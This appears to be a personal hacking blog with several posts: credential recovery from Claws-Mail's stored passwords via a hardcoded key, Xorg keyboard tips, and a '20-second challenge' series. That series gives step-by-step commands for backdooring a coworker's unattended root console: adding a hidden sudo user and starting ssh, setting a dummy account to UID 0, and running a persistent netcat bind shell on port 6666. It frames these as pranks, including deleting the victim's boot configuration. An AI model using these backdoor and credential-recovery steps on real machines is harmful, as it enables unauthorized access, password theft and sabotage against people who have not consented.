Monday, January 24, 2011

The Local Priviledge Storage Impossibility

When you fire up your mailer, it (usually) does not prompt you your password to retrieve your mail. Instead, it stores it locally. Wait, whaaat ? My password is stored on my hard-drive, so anybody can boot on a live medium and 0wn me ? Yes, my dear. Fortunately, they are usually ciphered before being stored. Not always. Pidgin users can try the following ultr4-l33t h4xx :
$ grep -rn "<password" ~/.purple/*
OK, this was funny. Some other softwares do a slightly better job at hiding your credentials. Here is today's" source-code-reverse-engineering" case-study ! The subject will be Claws-Mail. Get the source, grep magic words, and you'll quickly find the interesting source file.
$ wget http://downloads.sourceforge.net/\
sourceforge/sylpheed-claws/claws-mail-3.7.8.tar.bz2
$ tar xjvf claws-mail-3.7.8.tar.bz2
$ cd claws-mail-3.7.8/src
$ grep -rn password * # lots of stuff, let's get a simple file list
$ grep -rn password * | cut -d':' -f1 | sort | uniq
[...]
common/passcrypt.c
common/passcrypt.h
[...]
$ # here it is !
$ vim common/passcrypt.c common/passcrypt.h
The header file shows us a nice PASSCRYPT_KEY set to "passkey0". And in the C file, we find the ciphering and deciphering procedures. A lot of obscure crypto (at least obscure to me), but you don't need to be a genius to understand the problem: the secret is not secret (it's in the header file), so no crypto-system will be able to hide the password we want to protect. Moreover, there is no need to reverse the algorithm, since the source file provides both ciphering and deciphering functions.

One note about this problem: it is impossible to solve. You cannot hide something to someone who knows the secret you use. Unlike the hashing algorithms used to store your UNIX credentials in /etc/shadow for example, Claws-Mail HAS to store the password in a reversible way. Here is why.
When you type your password in the UNIX login prompt, the system checks that the password you gave produces the same hash that is stored in /etc/shadow; it does not check that you entered YOUR password (because it does not know it, it simply knows the hash). Thanks to the cryptographic hash functions properties, this ensures us that there is a very high probability that the password you entered was indeed yours. This propery is called collision resistance.
On the contrary, Claws-Mail HAS to know your password because the mail protocol (e.g IMAP, SMTP) states that you must provide a password. So either you type the password each time you launch Claws-Mail, either it stores it in a reversible way. Anyone who has the same knowledge as you (i.e. who knows the value of PASSCRYPT_KEY) can retrieve the password.

Claws-Mail stores the ciphered password in ~/.claws-mail/accountrc. All the code you need is already there: the deciphering procedure in common/passcrypt.c, plus some base64 stuff in common/base64.c.
$ sudo grep password /home/dummy/.claws-mail/accountrc
password=!U5unwpFJ3+dsOVd+IwfdyQ==
$ grep -rn passcrypt_decrypt *
[...]
prefs_gtk.c:226:    passcrypt_decrypt(tmp, len);
[...]
$ vim prefs_gtk.c
The deciphering is done in this file.
case P_PASSWORD:
   g_free(*((gchar **)param[i].data));
   if (value[0] == '!') {
    gchar tmp[1024];
    gint len;

    len = base64_decode(tmp, &value[1], strlen(value) - 1);
    passcrypt_decrypt(tmp, len);
    tmp[len] = '\0';
    *((gchar **)param[i].data) =
     *tmp ? g_strdup(tmp) : NULL;
   } else {
    *((gchar **)param[i].data) =
     *value ? g_strdup(value) : NULL;
   }
   break;
First character in has to be a "!", then it is decoded in base64, then we call the passcrypt_decrypt method on it. Add a "\0" at the end. All you need is to put the pieces together.

Here is a package with everything. C code put together (just ripped, no need to add anything), plus a python script that extracts all the informations and decipher the password.
$ sudo python2 passrec.py dummy
[+] found claws-mail config files for user dummy
[ ] account address: dummy@gmail.com
[ ] receive server: imap.gmail.com
[ ] login: dummy
[ ] ciphered password: U5unwpFJ3+dsOVd+IwfdyQ==
[+] deciphered password: zessuperPAssw0rd
Warning: this script is so ugly that it will give eye-cancer to any person able to write a "Hello World" in python. Add -fPIC to the lib target in the Makefile if it does not compile.

Fortunately you can modify the PASSCRYPT_KEY before Claws-Mail compilation:
$ ./configure --with-passcrypt-key=KEY
Unfortunately, the key will still be stored in the binary. So a little bit of reverse-engineering will eventually bring you the secret. Fire up gdb, break on crypt_cfb_buf, and find the key.

Friday, January 7, 2011

Keyboard fun



I bought a really mean keyboard. Yes, the keys are blank. I wanted to be able to switch keyboard layouts, and I find it weird to type on an AZERTY keybord with a QWERTY layout (and vice-versa). So, blank keys, no assumptions on the layout, no schizophrenia problem for me.

Now, about the layout switching. You can use a GUI application (e.g. fbxkb), but if you have a really bad ass keyboard, you don't want this. So here is a more geeky solution using Xorg configuration. I'm using version 1.9.2.

Open /etc/X11/xorg.conf.d/10-evdev.conf and edit the following lines in the keyboard section
        Option "XkbLayout" "fr,us"
        Option "XkbOptions" "grp:caps_toggle,grp_led:caps"

What it basically does is :
- load two layouts, fr and us
- use the Caps Lock key (seriously, who uses it ?) to change the layout
- toggle the Caps Lock LED when the keyboard layout switches (same behavious than with the normal Caps Lock key).

You can find more on these options here if you want to use different keys and LEDs. And by the way, if you find yourself "caps-locked", and unable to switch back (remember, the Caps Lock key changes the layout), try Shift-Caps_Lock...

Another way to make the keyboard even more bad ass is to add media keys, since it does not have any. I use the three keys you might have never used, Pause, Print Screen and Scroll Lock. Here is a quote of my Openbox config (in ~/.config/openbox/rc.xml):
     <keybind key="S-Print">
      <action name="Execute">
        <execute>scrot -s -e 'mv $f ~/sshots'</execute>
      </action>
    </keybind>
    <keybind key="S-Pause">
      <action name="execute">
        <execute>ncmpcpp toggle</execute>
      </action>
    </keybind>

So Shift-Print allows me to take a screenshot, and Shift-Pause acts like a Play-Pause key.

Wednesday, December 15, 2010

The 20-second challenge - Part IV

You could sometimes be lazy enough to willing have direct root shell access (no login required). A really simple solution exists again, redirecting the socket directly to /bin/sh (or better, /bin/bash) launched by an UID 0 account.

I have 2 basic solutions for that:
- netcat
- inetd

The inetd method is more adapted to Unix system where it often comes in default configuration. Netcat, on the other side, is often found in Linux systems. With netcat, just use:

$ while 'true'; do netcat -l -p 6666 -e /bin/bash; done&

This will background your infinite loop (this is a bit dirty...). It is unforunately completely un-stealth, as the netcat process will be seen in ps and netstat returns. Furthermore, if you kill the session used to launch the loop, the current netcat job will be attached to pid 1 and the loop will stop.

An easy solution to let the "while" loop running, attached to a lower level pid (e.g. pid 1) is to "disown" it from your current session:

before disowning:
├─gnome-terminal─┬─bash───pstree
│ ├─bash
│ ├─bash───bash───netcat

after disowning:
init─┬─6*[agetty]
├─bash───netcat

To do this, a very simple bash builtin command: disown!

$ while 'true'; do netcat -l -p 6666 -e /bin/bash; done&
[1] 3295
$ jobs
[1]+  Running                 while 'true'; do
    netcat -l -p 6666 -e /bin/bash;
done &
$ disown %1

Next time, I will check some (x)inetd tricks to backdoor even more colleagues' stations.

The 20-second challenge - Part III

Here is a quick post on how to check you don't have any malicious services running on your machine.

$ netstat -antup | grep LISTEN

It will list all sockets listening for connections on your machine, and the associated process. Check if there is no suspect telnet running...
Also, check your crontab:

$ crontab -l
$ crontab -e

List and edit weird jobs. Don't forget to do that for all users that can log in.

Tuesday, December 14, 2010

The 20-second challenge - Part II

OK, you have the console logged just in front of you! Let's go for the simplest backdoor (much simpler than the wheel gid + visudo previously posted): the UID 0 account!

- Edit the /etc/passwd.
- Choose an account with a dummy name and a shell environment (do not create a new one: it would not be stealth enough).
- Change its UID to 0.
- Eventually reset its password if you do not know the original one.
Done.

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
prout:x:0000:1016::/home/prout:/bin/bash
$ su - prout
Password:
#id
uid=0(root) gid=1001(prout) groups=0(root),1001(prout)

Now, you can reset the root password on demand, kill the graphical interface of your co-worker on demand, and delete his /boot/grub/menu.lst for even more fun!

The 20-second challenge - Part I

Say a coworker left his computer unattended, with a root console opened. He is about to come back (you can hear its footsteps in the corridor). You have approximatively 20 seconds to backdoor his computer. What do you do ?

Here is the most straightforward trick:

$ useradd -g users, wheel -s /bin/bash sysadm
$ passwd sysadm
$ visudo
$ /etc/init.d/ssh start

This way you:
- create a new user. The name has to look "normal", you should avoid "l33th4xx".
- set its password.
- add your newly created user to the sudoers file.
- start the ssh server, so you can come back later.

First prank:
$ [come back to your office]
$ ssh sysadm@my-stupid-coworker
$ sudo su
$ su my-stupid-coworker
$ export DISPLAY=:0.0 && firefox http://bonjourmadame.fr

No need for explanation ;-)

Hopefully we'll come back for more tricks / pranks / anti-coworker-pranks.

Thursday, December 2, 2010

The echo complexity

Just a tip for our customers: if the following command does not actually configure your HTTP proxy settings:

echo "export http_proxy=http://my-proxy:8080"

just try :

export http_proxy=http://my-proxy:8080

It's sometime better without the "echo".